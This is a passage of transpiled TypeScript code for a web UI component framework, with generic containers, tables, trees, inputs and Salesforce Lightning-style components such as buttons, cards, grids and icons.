            if(!b) {
                for(let index148=this.children.iterator();index148.hasNext();) {
                    let child = index148.next();
                    {
                        child.setRendered(b);
                    }
                }
            }
            return this;
        }

        /**
         * 
         * @return {*}
         */
        public getListeners() : java.util.Map<string, java.util.List<framework.EventListener>> {
            return this.listeners;
        }

        public render$() {
            this.render$jsweet_dom_HTMLElement(null);
        }

        public render$jsweet_dom_HTMLElement(parent : HTMLElement) {
            if(this.renderers.isEmpty()) {
                this.renderers.add(JSContainer.DEFAULT_RENDERER_$LI$());
            }
            if(!this.renderers.contains(JSContainer.DEFAULT_RENDERER_$LI$())) {
                this.renderers.add(0, JSContainer.DEFAULT_RENDERER_$LI$());
            }
            for(let index149=this.renderers.iterator();index149.hasNext();) {
                let renderer = index149.next();
                renderer.doRender(this, parent)
            }
            for(let index150=this.getChildren().iterator();index150.hasNext();) {
                let child = index150.next();
                {
                    child.render();
                }
            }
            this.rendered = true;
        }

        /**
         * 
         * @param {HTMLElement} parent
         */
        public render(parent? : any) : any {
            if(((parent != null && parent instanceof <any>HTMLElement) || parent === null)) {
                return <any>this.render$jsweet_dom_HTMLElement(parent);
            } else if(parent === undefined) {
                return <any>this.render$();
            } else throw new Error('invalid overload');
        }

        /**
         * 
         * @return {*}
         */
        public getData() : any {
            return this.data;
        }

        /**
         * 
         * @param {*} data
         */
        public setData(data : any) {
            this.data = data;
        }

        public getAncestorOfType<T extends JSContainer>(classType : any) : T {
            if(this.parent == null) {
                return null;
            }
            if(/* equals */(<any>((o1: any, o2: any) => { if(o1 && o1.equals) { return o1.equals(o2); } else { return o1 === o2; } })(/* getName */(c => c[""__class""]?c[""__class""]:c[""name""])((<any>this.parent.constructor)),/* getName */(c => c[""__class""]?c[""__class""]:c[""name""])(classType)))) {
                return <T>this.parent;
            } else {
                return <any>((<JSContainer>this.parent).getAncestorOfType<any>(classType));
            }
        }

        /**
         * 
         * @param {string} id
         * @return {framework.JSContainer}
         */
        public getAncestorById(id : string) : JSContainer {
            if(/* equals */(<any>((o1: any, o2: any) => { if(o1 && o1.equals) { return o1.equals(o2); } else { return o1 === o2; } })(this.getId(),id))) return <JSContainer>this;
            if(this.parent == null) {
                return null;
            }
            return this.parent.getAncestorById(id);
        }

        /**
         * 
         * @param {string} name
         * @return {framework.JSContainer}
         */
        public getAncestorByName(name : string) : JSContainer {
            if(/* equals */(<any>((o1: any, o2: any) => { if(o1 && o1.equals) { return o1.equals(o2); } else { return o1 === o2; } })(this.getName(),name))) return this;
            if(this.parent == null) {
                return null;
            }
            return this.parent.getAncestorByName(name);
        }

        /**
         * 
         * @return {framework.JSContainer}
         */
        public getRoot() : JSContainer {
            if(this.parent == null) {
                return this;
            } else {
                return this.parent.getRoot();
            }
        }

        /**
         * 
         * @param {*} parameters
         */
        public setParameters(parameters : java.util.Map<string, string>) {
        }
    }
    JSContainer[""__class""] = ""framework.JSContainer"";
    JSContainer[""__interfaces""] = [""framework.Renderable""];



    export namespace JSContainer {

        export class JSCommand {
            public __parent: any;
            name : string;

            parameters : Object;

            variable : string;

            public constructor(__parent: any, name : string, vari : string) {
                this.__parent = __parent;
                this.name = null;
                this.parameters = null;
                this.variable = null;
                __parent.name = name;
                this.variable = vari;
            }

            public getVariable() : string {
                return this.variable;
            }

            public getName() : string {
                return this.__parent.name;
            }

            public setName(name : string) {
                this.__parent.name = name;
            }

            public getParameters() : Object {
                return this.parameters;
            }

            public setParameters(parameters : Object) {
                this.parameters = parameters;
            }
        }
        JSCommand[""__class""] = ""framework.JSContainer.JSCommand"";

    }

}
namespace framework {
    export class JSInput extends framework.JSContainer implements framework.InputField<string> {
        public constructor(name : string) {
            super(name, ""input"");
            this.setType(framework.InputTypes.text);
        }

        public setType(type : string) : JSInput {
            this.setAttribute(""type"", type.toString());
            return this;
        }

        public setDisabled(b : boolean) : JSInput {
            if(b) {
                this.setAttribute(""disabled"", ""true"");
            } else {
                this.setAttribute(""disabled"", null);
            }
            return this;
        }

        /**
         * 
         * @return {string}
         */
        public getValue() : string {
            return this.getAttribute(""value"");
        }

        public setValue$java_lang_String(val : string) {
            this.setAttribute(""value"", val);
        }

        /**
         * 
         * @param {string} val
         */
        public setValue(val? : any) : any {
            if(((typeof val === 'string') || val === null)) {
                return <any>this.setValue$java_lang_String(val);
            } else throw new Error('invalid overload');
        }

        /**
         * 
         * @param {string} value
         */
        public setRawValue(value : string) {
            this.setAttribute(""value"", value);
        }
    }
    JSInput[""__class""] = ""framework.JSInput"";
    JSInput[""__interfaces""] = [""framework.InputField"",""framework.Renderable""];


}
namespace framework {
    export class JSTable extends framework.JSContainer {
        /*private*/ tbody : framework.JSContainer = new framework.JSContainer(""tbody"");

        /*private*/ thead : framework.JSContainer = new framework.JSContainer(""thead"");

        /*private*/ tfoot : framework.JSContainer = new framework.JSContainer(""tfoot"");

        public constructor(name : string) {
            super(name, ""table"");
            this.addClass(""table"");
            this.addChild$framework_JSContainer(this.thead).addChild$framework_JSContainer(this.tbody).addChild$framework_JSContainer(this.tfoot);
        }

        /*private*/ toggleCls(b : boolean, cls : string) : JSTable {
            if(b) {
                this.addClass(cls);
            } else {
                this.removeClass(cls);
            }
            return this;
        }

        public setStriped(b : boolean) : JSTable {
            return this.toggleCls(b, ""table-striped"");
        }

        public setBordered(b : boolean) : JSTable {
            return this.toggleCls(b, ""table-bordered"");
        }

        public setCondensed(b : boolean) : JSTable {
            return this.toggleCls(b, ""table-condensed"");
        }

        public setHoverRows(b : boolean) : JSTable {
            let cls : string = ""table-hover"";
            if(b) {
                this.tbody.addClass(cls);
            } else {
                this.tbody.removeClass(cls);
            }
            return this;
        }

        public addHeaderCell(th : framework.JSContainer) : JSTable {
            if(this.thead.getChildren().size() === 0) {
                this.thead.addChild$framework_JSContainer(new framework.JSContainer(""tr""));
            }
            this.thead.getChildren().get(0).addChild$framework_JSContainer(th);
            return this;
        }

        public addFooterCell(td : framework.JSContainer) : JSTable {
            if(this.tfoot.getChildren().size() === 0) {
                this.tfoot.addChild$framework_JSContainer(new framework.JSContainer(""tr""));
            }
            this.tfoot.getChildren().get(0).addChild$framework_JSContainer(td);
            return this;
        }

        public addRow() : framework.Renderable {
            let row : framework.JSContainer = new framework.JSContainer(""tr"");
            this.tbody.addChild$framework_JSContainer(row);
            return row;
        }

        public addRowAt(index : number) : framework.Renderable {
            let row : framework.JSContainer = new framework.JSContainer(""tr"");
            this.tbody.addChildAt(index, row);
            return row;
        }
    }
    JSTable[""__class""] = ""framework.JSTable"";
    JSTable[""__interfaces""] = [""framework.Renderable""];


}
namespace framework {
    export class JSTextArea extends framework.JSContainer {
        public constructor(name : string) {
            super(name, ""textarea"");
        }
    }
    JSTextArea[""__class""] = ""framework.JSTextArea"";
    JSTextArea[""__interfaces""] = [""framework.Renderable""];


}
namespace framework {
    export class JSTree extends framework.JSContainer {
        /*private*/ nodes : java.util.List<framework.TreeNode> = <any>(new java.util.LinkedList<any>());

        /*private*/ tree_ : framework.JSContainer = new framework.JSContainer(""ul"");

        public constructor(name : string) {
            super(name, ""div"");
            this.addChild$framework_JSContainer(this.tree_);
        }

        public getNodes() : java.util.List<framework.TreeNode> {
            return this.nodes;
        }

        public setNodes(nodes : java.util.List<framework.TreeNode>) {
            this.tree_.getChildren().clear();
            this.nodes = nodes;
            this.setRendered(false);
            this.renderNodes(nodes, this.tree_);
        }

        renderNodes(nodes : java.util.List<framework.TreeNode>, parent : framework.Renderable) {
            for(let index151=nodes.iterator();index151.hasNext();) {
                let node = index151.next();
                {
                    let li : framework.JSContainer = new framework.JSContainer(""li"");
                    parent['addChild$framework_JSContainer'](li);
                    li.addChild$framework_JSContainer(this.getNodeUI(node));
                    if(node.getNodes().size() > 0) {
                        let tree : framework.JSContainer = new framework.JSContainer(""ul"");
                        li.addChild$framework_JSContainer(tree);
                        this.renderNodes(node.getNodes(), tree);
                    }
                }
            }
        }

        getNodeUI(node : framework.TreeNode) : framework.JSContainer {
            return new framework.JSContainer(""span"").setHtml(node.getText());
        }

        /**
         * 
         * @param {HTMLElement} parent
         */
        public render(parent? : any) : any {
            if(((parent != null && parent instanceof <any>HTMLElement) || parent === null)) {
                super.render(parent);
            } else if(parent === undefined) {
                return <any>this.render$();
            } else throw new Error('invalid overload');
        }

        public render$() {
            super.render();
            let dnd : Object = <Object>new Object();
            let edit : Object = <Object>new Object();
            edit[""adjustWidthOfs""] = 0;
            edit[""inputCss""] = JSON.parse(""{\""minWidth\"": \""0\""}"");
            edit[""triggerStart""] = new Array<any>(""f2"", ""dblclick"", ""shift+click"", ""mac+enter"");
            let options : Object = <Object>new Object();
            let dragStart : Function = (a, b) => {
            };
            let dragEnter : Function = (a, b) => {
            };
            let save : Function = (event, data) => {
                let b : Object = <Object>data;
                alert(""save "" + b[""input""]);
            };
            edit[""save""] = save;
            let dragDrop : Function = (node, data) => {
                eval(""data.otherNode.moveTo(node, data.hitMode);"");
            };
            options[""checkbox""] = false;
            options[""selectMode""] = 1;
            options[""extensions""] = new Array<any>(""dnd"", ""edit"");
            dnd[""focusOnClick""] = true;
            dnd[""dragStart""] = dragStart;
            dnd[""dragEnter""] = dragEnter;
            dnd[""dragDrop""] = dragDrop;
            options[""dnd""] = dnd;
            options[""edit""] = edit;
            options[""init""] = ((a, b) => {
                eval(""$(\'.has-tooltip .fancytree-title\').tooltip()"");
            });
        }
    }
    JSTree[""__class""] = ""framework.JSTree"";
    JSTree[""__interfaces""] = [""framework.Renderable""];


}
namespace framework {
    export class JSXHTMLFragment extends framework.JSContainer {
        /*private*/ templateId : string;

        public constructor(name : string, templateId : string) {
            super(name, ""div"");
            this.templateId = null;
            this.templateId = templateId;
        }

        public getTemplateId() : string {
            return this.templateId;
        }

        public setTemplateId(templateId : string) {
            this.templateId = templateId;
        }

        /**
         * 
         * @return {string}
         */
        public getHtml() : string {
            return document.getElementById(this.templateId).innerHTML;
        }
    }
    JSXHTMLFragment[""__class""] = ""framework.JSXHTMLFragment"";
    JSXHTMLFragment[""__interfaces""] = [""framework.Renderable""];


}
namespace framework.lightning {
    export class Accordion extends framework.JSContainer {
        public constructor(name : string) {
            super(name, ""ul"");
        }
    }
    Accordion[""__class""] = ""framework.lightning.Accordion"";
    Accordion[""__interfaces""] = [""framework.Renderable""];



    export namespace Accordion {

        export class JSAccordionItem extends framework.JSContainer {
            public __parent: any;
            accordionSection : framework.JSContainer;

            accordionSummary : framework.JSContainer;

            accordionSummaryHeading : framework.JSContainer;

            public constructor(__parent: any, name : string) {
                super(name, ""li"");
                this.__parent = __parent;
                this.accordionSection = new framework.JSContainer(""section"").addClass(""slds-accordion__section"");
                this.accordionSummary = new framework.JSContainer(""div"").addClass(""slds-accordion__summary"");
                this.accordionSummaryHeading = new framework.JSContainer(""h3"").addClass(""slds-text-heading_small slds-accordion__summary-heading"");
                this.addClass(""slds-accordion__list-item"");
                this.addChild$framework_JSContainer(this.accordionSection);
                this.accordionSection.addChild$framework_JSContainer(this.accordionSummary);
                this.accordionSummary.addChild$framework_JSContainer(this.accordionSummaryHeading);
            }
        }
        JSAccordionItem[""__class""] = ""framework.lightning.Accordion.JSAccordionItem"";
        JSAccordionItem[""__interfaces""] = [""framework.Renderable""];


    }

}
namespace framework.lightning {
    export class Avatar extends framework.JSContainer {
        /*private*/ image : framework.JSContainer = new framework.JSContainer(""img"");

        public static SMALL : string = ""slds-avatar_small"";

        public static X_SMALL : string = ""slds-avatar_x-small"";

        public static MEDIUM : string = ""slds-avatar_medium"";

        public static LARGE : string = ""slds-avatar_large"";

        public constructor(name : string) {
            super(""span"");
            this.addClass(""slds-avatar"");
            this.addChild$framework_JSContainer(this.image);
        }

        public getImage() : framework.JSContainer {
            return this.image;
        }

        public setSize(size : string) : Avatar {
            this.removeClass(Avatar.LARGE).removeClass(Avatar.MEDIUM).removeClass(Avatar.SMALL).removeClass(Avatar.X_SMALL);
            this.addClass(size);
            return this;
        }

        public setCircle(b : boolean) : Avatar {
            if(b) {
                this.addClass(""slds-avatar_circle"");
            } else {
                this.removeClass(""slds-avatar_circle"");
            }
            return this;
        }
    }
    Avatar[""__class""] = ""framework.lightning.Avatar"";
    Avatar[""__interfaces""] = [""framework.Renderable""];


}
namespace framework.lightning {
    export class BorderLayout extends framework.JSContainer {
        /*private*/ top : framework.JSContainer = new framework.JSContainer(""div"");

        /*private*/ left : framework.JSContainer = new framework.JSContainer(""div"");

        /*private*/ center : framework.JSContainer = new framework.JSContainer(""div"");

        /*private*/ right : framework.JSContainer = new framework.JSContainer(""div"");

        /*private*/ bottom : framework.JSContainer = new framework.JSContainer(""div"");

        public constructor(name : string) {
            super(""div"");
            this.addClass(""slds-grid"");
            this.top.addClass(""slds-p-horizontal_small slds-size_1-of-1"");
            this.addChild$framework_JSContainer(this.top);
            this.left.addClass(""slds-p-horizontal_small slds-size_3-of-12 slds-medium-size_3-of-12 slds-large-size_1-of-1"");
            this.addChild$framework_JSContainer(this.left);
            this.center.addClass(""slds-p-horizontal_small slds-size_6-of-12 slds-medium-size_6-of-12 slds-large-size_1-of-1"");
            this.addChild$framework_JSContainer(this.center);
            this.right.addClass(""slds-p-horizontal_small slds-size_3-of-12 slds-medium-size_3-of-12 slds-large-size_1-of-1"");
            this.addChild$framework_JSContainer(this.right);
            this.bottom.addClass(""slds-p-horizontal_small slds-size_1-of-1"");
            this.addChild$framework_JSContainer(this.bottom);
        }

        public addChild$framework_JSContainer$java_lang_String(child : framework.JSContainer, layoutData : string) : BorderLayout {
            if(/* equalsIgnoreCase */((o1, o2) => o1.toUpperCase() === (o2===null?o2:o2.toUpperCase()))(layoutData, ""left"")) {
                this.left.addChild$framework_JSContainer(child);
            } else if(/* equalsIgnoreCase */((o1, o2) => o1.toUpperCase() === (o2===null?o2:o2.toUpperCase()))(layoutData, ""right"")) {
                this.right.addChild$framework_JSContainer(child);
            } else if(/* equalsIgnoreCase */((o1, o2) => o1.toUpperCase() === (o2===null?o2:o2.toUpperCase()))(layoutData, ""top"")) {
                this.top.addChild$framework_JSContainer(child);
            } else if(/* equalsIgnoreCase */((o1, o2) => o1.toUpperCase() === (o2===null?o2:o2.toUpperCase()))(layoutData, ""bottom"")) {
                this.bottom.addChild$framework_JSContainer(child);
            } else if(/* equalsIgnoreCase */((o1, o2) => o1.toUpperCase() === (o2===null?o2:o2.toUpperCase()))(layoutData, ""center"")) {
                this.center.addChild$framework_JSContainer(child);
            }
            return this;
        }

        public addChild(child? : any, layoutData? : any) : any {
            if(((child != null && child instanceof <any>framework.JSContainer) || child === null) && ((typeof layoutData === 'string') || layoutData === null)) {
                return <any>this.addChild$framework_JSContainer$java_lang_String(child, layoutData);
            } else if(((child != null && child instanceof <any>framework.JSContainer) || child === null) && layoutData === undefined) {
                return <any>this.addChild$framework_JSContainer(child);
            } else throw new Error('invalid overload');
        }
    }
    BorderLayout[""__class""] = ""framework.lightning.BorderLayout"";
    BorderLayout[""__interfaces""] = [""framework.Renderable""];


}
namespace framework.lightning {
    export class Button extends framework.JSContainer {
        static states : string[]; public static states_$LI$() : string[] { if(Button.states == null) Button.states = [""neutral"", ""brand"", ""destructive"", ""success""]; return Button.states; };

        public constructor(name : string) {
            super(name, ""button"");
            this.addClass(""slds-button"");
        }

        public addIcon(icon : framework.lightning.Icon) {
            this.addClass(""slds-button_icon"");
            this.addChild$framework_JSContainer(icon);
        }

        public setState(state : string) {
            for(let index152=0; index152 < Button.states_$LI$().length; index152++) {
                let s = Button.states_$LI$()[index152];
                {
                    this.removeClass(""slds-button_"" + s);
                }
            }
            this.addClass(""slds-button_"" + state);
        }

        public setInverse(b : boolean) {
            if(b) {
                this.addClass(""slds-button_inverse"");
            } else {
                this.removeClass(""slds-button_inverse"");
            }
        }

        public setDisabled(b : boolean) {
            if(b) {
                this.addClass(""slds-button_disabled"");
            } else {
                this.removeClass(""slds-button_disabled"");
            }
        }

        public setStateful(b : boolean) {
            if(b) {
                this.addClass(""slds-button_stateful"");
            } else {
                this.removeClass(""slds-button_stateful"");
            }
        }

        public setParameter(key : string, value : string) {
            if(/* equals */(<any>((o1: any, o2: any) => { if(o1 && o1.equals) { return o1.equals(o2); } else { return o1 === o2; } })(key,""state""))) {
                this.setState(value);
            } else if(/* equals */(<any>((o1: any, o2: any) => { if(o1 && o1.equals) { return o1.equals(o2); } else { return o1 === o2; } })(key,""stateful""))) {
                this.setStateful(javaemul.internal.BooleanHelper.parseBoolean(value));
            } else if(/* equals */(<any>((o1: any, o2: any) => { if(o1 && o1.equals) { return o1.equals(o2); } else { return o1 === o2; } })(key,""disabled""))) {
                this.setDisabled(javaemul.internal.BooleanHelper.parseBoolean(value));
            } else if(/* equals */(<any>((o1: any, o2: any) => { if(o1 && o1.equals) { return o1.equals(o2); } else { return o1 === o2; } })(key,""inverse""))) {
                this.setInverse(javaemul.internal.BooleanHelper.parseBoolean(value));
            } else {
                throw new java.lang.RuntimeException(""Unknow parameter key:"" + value + "" Class: framework.lightning.Button"");
            }
        }
    }
    Button[""__class""] = ""framework.lightning.Button"";
    Button[""__interfaces""] = [""framework.Renderable""];


}
namespace framework.lightning {
    export class Card extends framework.JSContainer {
        /*private*/ header : framework.lightning.Grid = new framework.lightning.Grid(""header"", ""div"");

        /*private*/ headerMedia : framework.lightning.Media = new framework.lightning.Media(""headerMedia"");

        /*private*/ body : framework.JSContainer = new framework.JSContainer(""div"").addClass(""slds-card__body"");

        /*private*/ footer : framework.JSContainer = new framework.JSContainer(""footer"").addClass(""slds-card__footer"");

        public constructor(name : string, tag : string) {
            super(name, tag);
            this.addClass(""slds-card"");
            this.header.addClass(""slds-card__header"");
            this.header.addChild$framework_JSContainer(this.headerMedia);
            this.addChild$framework_JSContainer(this.header);
            this.addChild$framework_JSContainer(this.body);
            this.addChild$framework_JSContainer(this.footer);
        }

        public getHeader() : framework.lightning.Grid {
            return this.header;
        }

        public getHeaderMedia() : framework.lightning.Media {
            return this.headerMedia;
        }

        public getBody() : framework.JSContainer {
            return this.body;
        }

        public getFooter() : framework.JSContainer {
            return this.footer;
        }
    }
    Card[""__class""] = ""framework.lightning.Card"";
    Card[""__interfaces""] = [""framework.Renderable""];


}
namespace framework.lightning {
    export class GlobalHeader extends framework.JSContainer {
        public constructor(name : string) {
            super(name, ""div"");
        }
    }
    GlobalHeader[""__class""] = ""framework.lightning.GlobalHeader"";
    GlobalHeader[""__interfaces""] = [""framework.Renderable""];


}
namespace framework.lightning {
    export class Grid extends framework.JSContainer {
        public static PULL_PADDED_XXX_SMALL : string = """";

        public static PULL_PADDED_XX_SMALL : string = """";

        public static PULL_PADDED_X_SMALL : string = """";

        public static PULL_PADDED_SMALL : string = """";

        public static PULL_PADDED_MEDIUM : string = """";

        public static PULL_PADDED_LARGE : string = """";

        public constructor(name : string, tag : string) {
            super(name, tag);
            this.addClass(""slds-grid"");
        }

        public toggleClass(cls : string, b : boolean) : Grid {
            if(b) {
                this.addClass(cls);
            } else {
                this.removeClass(cls);
            }
            return this;
        }

        public setFrame(b : boolean) : Grid {
            return this.toggleClass(""slds-grid_frame"", b);
        }

        public setVertical(b : boolean) : Grid {
            return this.toggleClass(""slds-grid_vertical"", b);
        }

        public setVerticalReverse(b : boolean) : Grid {
            return this.toggleClass(""slds-grid_vertical-reverse"", b);
        }

        public setReverse(b : boolean) : Grid {
            return this.toggleClass(""slds-grid_reverse"", b);
        }

        public setPullPadded(b : boolean) : Grid {
            return this.toggleClass(""slds-grid_pull-padded"", b);
        }

        public setPullPaddedSize(size : string) : Grid {
            this.removeClass(Grid.PULL_PADDED_LARGE).removeClass(Grid.PULL_PADDED_MEDIUM).removeClass(Grid.PULL_PADDED_SMALL).removeClass(Grid.PULL_PADDED_X_SMALL).removeClass(Grid.PULL_PADDED_XX_SMALL).removeClass(Grid.PULL_PADDED_XXX_SMALL).addClass(size);
            return this;
        }

        public setAlignCenter(b : boolean) : Grid {
            return this.toggleClass(""slds-grid_align-center"", b);
        }

        public setAlignSpace(b : boolean) : Grid {
            return this.toggleClass(""slds-grid_align-space"", b);
        }

        public setAlignSpead(b : boolean) : Grid {
            return this.toggleClass(""slds-grid_align-spread"", b);
        }

        public setAlignEnd(b : boolean) : Grid {
            return this.toggleClass(""slds-grid_align-end"", b);
        }

        public setVerticalAlignStart(b : boolean) : Grid {
            return this.toggleClass(""slds-grid_vertical-align-start"", b);
        }

        public setVerticalAlignCenter(b : boolean) : Grid {
            return this.toggleClass(""slds-grid_vertical-align-center"", b);
        }

        public setVerticalAlignEnd(b : boolean) : Grid {
            return this.toggleClass(""slds-grid_vertical-align-end"", b);
        }

        public setVerticalStretch(b : boolean) : Grid {
            return this.toggleClass(""slds-grid_vertical-stretch"", b);
        }
    }
    Grid[""__class""] = ""framework.lightning.Grid"";
    Grid[""__interfaces""] = [""framework.Renderable""];


}
namespace framework.lightning {
    export class Icon extends framework.JSContainer {
        public static SMALL : string = ""slds-button_icon_small"";

        public static EXTRA_SMALL : string = ""slds-_icon_x-small"";

        public static EXTRA_EXTRA_SMALL : string = ""slds-button_icon_xx-small"";

        public static LARGE : string = ""slds-button_icon_large"";

        public static TEXT_DEFAULT : string = ""slds-icon-text-default"";

        public static TEXT_WARNING : string = ""slds-icon-text-warning"";

        public static TEXT_ERROR : string = ""slds-icon-text-error"";

        public static TEXT_LIGHT : string = ""slds-icon-text-light"";

        /*private*/ assetsUrl : string;

        /*private*/ type : string;

        /*private*/ iconName : string;

        /*private*/ use : framework.JSContainer;

        public constructor(name? : any, type? : any, iconName? : any) {
            if(((typeof name === 'string') || name === null) && ((typeof type === 'string') || type === null) && ((typeof iconName === 'string') || iconName === null)) {
                let __args = Array.prototype.slice.call(arguments);
                super(name, ""svg"");
                this.assetsUrl = ""/assets/icons/"";
                this.type = ""utility"";
                this.iconName = ""settings"";
                this.use = new framework.JSContainer(""use"");
                (() => {
                    this.addChild$framework_JSContainer(this.use);
                    this.setAttribute(""aria-hidden"", ""true"");
                    this.use.setAttribute(""xmlns:xlink"", ""http://www.w3.org/1999/xlink"");
                    this.type = type;
                    this.iconName = iconName;
                    this.refresh();
                })();
            } else if(((typeof name === 'string') || name === null) && type === undefined && iconName === undefined) {
                let __args = Array.prototype.slice.call(arguments);
                super(name, ""svg"");
                this.assetsUrl = ""/assets/icons/"";
                this.type = ""utility"";
                this.iconName = ""settings"";
                this.use = new framework.JSContainer(""use"");
                (() => {
                    this.addChild$framework_JSContainer(this.use);
                    this.use.setAttribute(""xmlns:xlink"", ""http://www.w3.org/1999/xlink"");
                    this.refresh();
                })();
            } else throw new Error('invalid overload');
        }

        public refresh() {
            let href : string = this.assetsUrl + ""/"" + this.type + ""-sprite/svg/symbols.svg#"" + this.iconName;
            this.use.setAttribute(""xlink:href"", href);
        }

        public getAssetsUrl() : string {
            return this.assetsUrl;
        }

        public setAssetsUrl(assetsUrl : string) {
            this.assetsUrl = assetsUrl;
            this.refresh();
        }

        public getType() : string {
            return this.type;
        }

        public setType(type : string) {
            this.type = type;
            this.refresh();
        }

        public getIconName() : string {
            return this.iconName;
        }

        public setIconName(name : string) {
            this.iconName = name;
            this.refresh();
        }

        public setSize(size : string) : Icon {
            this.removeClass(Icon.EXTRA_EXTRA_SMALL).removeClass(Icon.EXTRA_SMALL).removeClass(Icon.LARGE).removeClass(Icon.SMALL);
            this.addClass(size);
            return this;
        }

        public setTextType(type : string) : Icon {
            this.removeClass(Icon.TEXT_DEFAULT).removeClass(Icon.TEXT_ERROR).removeClass(Icon.TEXT_LIGHT).removeClass(Icon.TEXT_WARNING).addClass(type);
            return this;
        }
    }
    Icon[""__class""] = ""framework.lightning.Icon"";
    Icon[""__interfaces""] = [""framework.Renderable""];


}
namespace framework.lightning {
    export class IconButton extends framework.JSContainer {
        /*private*/ icon : framework.lightning.Icon = new framework.lightning.Icon(""icon"");

        static SMALL : string = ""slds-button_icon-small"";

        static EXTRA_SMALL : string = ""slds-button_icon-x-small"";

        static EXTRA_EXTRA_SMALL : string = ""slds-button_icon-xx-small"";

        public constructor(name : string) {
            super(name, ""button"");
            this.addChild$framework_JSContainer(this.icon.addClass(""slds-button__icon""));
            this.addClass(""slds-button"").addClass(""slds-button_icon"");
        }

        public setIcon(icon : framework.lightning.Icon) : IconButton {
            this.getChildren().remove(icon);
            this.icon = icon;
            icon.addClass(""slds-button__icon"");
            this.addChild$framework_JSContainer(icon);
            this.setRendered(false);
            return this;
        }

        public toggleClass(cls : string, b : boolean) : IconButton {
            if(b) {
                this.addClass(cls);
            } else {
                this.removeClass(cls);
            }
            return this;
        }

        public setContainer(b : boolean) : IconButton {
            return this.toggleClass(""slds-button_icon-container"", b);
        }

        public setBorder(b : boolean) : IconButton {
            return this.toggleClass(""slds-button_icon-border"", b);
        }

        public setBorderInverse(b : boolean) : IconButton {
            return this.toggleClass(""slds-button_icon-border-inverse"", b);
        }

        public setBorderFilled(b : boolean) : IconButton {
            return this.toggleClass(""slds-button_icon-border-filled"", b);
        }

        public setInverse(b : boolean) : IconButton {
            return this.toggleClass(""slds-button_icon-inverse"", b);
        }

        public setError(b : boolean) : IconButton {
            return this.toggleClass(""slds-button_icon-error"", b);
        }

        public setSize(size : string) : IconButton {
            this.toggleClass(IconButton.SMALL, false);
            this.toggleClass(IconButton.EXTRA_SMALL, false).toggleClass(IconButton.EXTRA_EXTRA_SMALL, false).toggleClass(size, true);
            return this;
        }

        public setMore(b : boolean) : IconButton {
            return this.toggleClass(""slds-button_icon-more"", b);
        }

        public setSelected(b : boolean) : IconButton {
            return this.toggleClass(""slds-is-selected"", b);
        }
    }
    IconButton[""__class""] = ""framework.lightning.IconButton"";
    IconButton[""__interfaces""] = [""framework.Renderable""];


}
namespace framework.lightning {
    export class Media extends framework.JSContainer {
        /*private*/ figure : framework.JSContainer = new framework.JSContainer(""figure"", ""div"").addClass(""slds-media__figure"");

        /*private*/ body : framework.JSContainer = new framework.JSContainer(""div"").addClass(""slds-media__body"");

        public static SIZE_NORMAL : string = """";

        public static SIZE_LARGE : string = ""slds-media_large"";

        public static SIZE_SMALL : string = ""slds-media_small"";

        public constructor(name : string) {
            super(name, ""div"");
            this.addClass(""slds-media"");
            this.addChild$framework_JSContainer(this.figure);
            this.addChild$framework_JSContainer(this.body);
        }

        public addFigure(figure : framework.JSContainer) : Media {
            this.figure.addChild$framework_JSContainer(figure);
            return this;
        }

        public getFigureContainer() : framework.JSContainer {
            return this.figure;
        }

        public getBodyContainer() : framework.JSContainer {
            return this.body;
        }

        public addBody(body : framework.JSContainer) : Media {
            this.body.addChild$framework_JSContainer(body);
            return this;
        }

        public setSize(size : string) : Media {
            this.removeClass(Media.SIZE_LARGE).removeClass(Media.SIZE_SMALL).addClass(size);
            return this;
        }

        public toggleClass$java_lang_String$boolean(cls : string, b : boolean) : Media {
            return this.toggleClass$java_lang_String$boolean$framework_JSContainer(cls, b, this);
        }

        public toggleClass$java_lang_String$boolean$framework_JSContainer(cls : string, b : boolean, target : framework.JSContainer) : Media {
            if(b) {
                target.addClass(cls);
            } else {
                target.removeClass(cls);
            }
            return this;
        }

        public toggleClass(cls? : any, b? : any, target? : any) : any {
            if(((typeof cls === 'string') || cls === null) && ((typeof b === 'boolean') || b === null) && ((target != null && target instanceof <any>framework.JSContainer) || target === null)) {
                return <any>this.toggleClass$java_lang_String$boolean$framework_JSContainer(cls, b, target);
            } else if(((typeof cls === 'string') || cls === null) && ((typeof b === 'boolean') || b === null) && target === undefined) {
                return <any>this.toggleClass$java_lang_String$boolean(cls, b);
            } else throw new Error('invalid overload');
        }

        public setCentered(b : boolean) : Media {
            return this.toggleClass$java_lang_String$boolean(""slds-media_center"", b);
        }

        public setFigureReversed(b : boolean) : Media {
            return this.toggleClass$java_lang_String$boolean$framework_JSContainer(""slds-media__figure_reverse"", b, this.figure);
        }

        public setResponseve(b : boolean) : Media {
            return this.toggleClass$java_lang_String$boolean(""slds-media_responsive"", b);
        }
    }
    Media[""__class""] = ""framework.lightning.Media"";
    Media[""__interfaces""] = [""framework.Renderable""];


}
namespace framework.lightning {
    export class Text extends framework.JSContainer {
        public constructor(name : string, tag : string) {
            super(name, tag);
        }

        public toggleClass(cls : string, b : boolean) : Text {
            if(b) {
                this.addClass(cls);
            } else {
                this.removeClass(cls);
            }
            return this;
        }

        public setTruncate(b : boolean) : Text {
            return this.toggleClass(""slds-truncate"", b);
        }
    }
    Text[""__class""] = ""framework.lightning.Text"";
    Text[""__interfaces""] = [""framework.Renderable""];


}
namespace framework {
    export class JSPanel extends framework.JSXHTMLFragment {
        public constructor(name : string) {
            super(name, ""jspanel"");
            this.addClass(""panel"");
        }
    }
    JSPanel[""__class""] = ""framework.JSPanel"";
    JSPanel[""__interfaces""] = [""framework.Renderable""];


}
namespace framework.lightning {
    export class DockedComposer extends framework.lightning.Grid {
        /*private*/ header : framework.lightning.Grid = <framework.lightning.Grid>new framework.lightning.Grid(""header"", ""div"").addClass(""slds-docked-composer__header slds-shrink-none"").setAttribute(""aria-live"", ""assertive"");

        /*private*/ headerTitle : framework.lightning.Media = new framework.lightning.Media(""headerTitle"");

        /*private*/ headerIconContainer : framework.JSContainer = new framework.JSContainer(""div"").addClass(""slds-icon_container"");

        /*private*/ headerIcon : framework.lightning.Icon = new framework.lightning.Icon(""headerIcon"").setSize(framework.lightning.Icon.EXTRA_SMALL).setTextType(framework.lightning.Icon.TEXT_DEFAULT);

        /*private*/ title : framework.lightning.Text = new framework.lightning.Text(""title"", ""h2"").setTruncate(true);

        /*private*/ tools : framework.JSContainer = new framework.JSContainer(""div"").addClass(""slds-col_bump-left slds-shrink-none"");

        /*private*/ minimize : framework.lightning.IconButton = new framework.lightning.IconButton(""minimize"");

        /*private*/ expand : framework.lightning.IconButton = new framework.lightning.IconButton(""expand"");

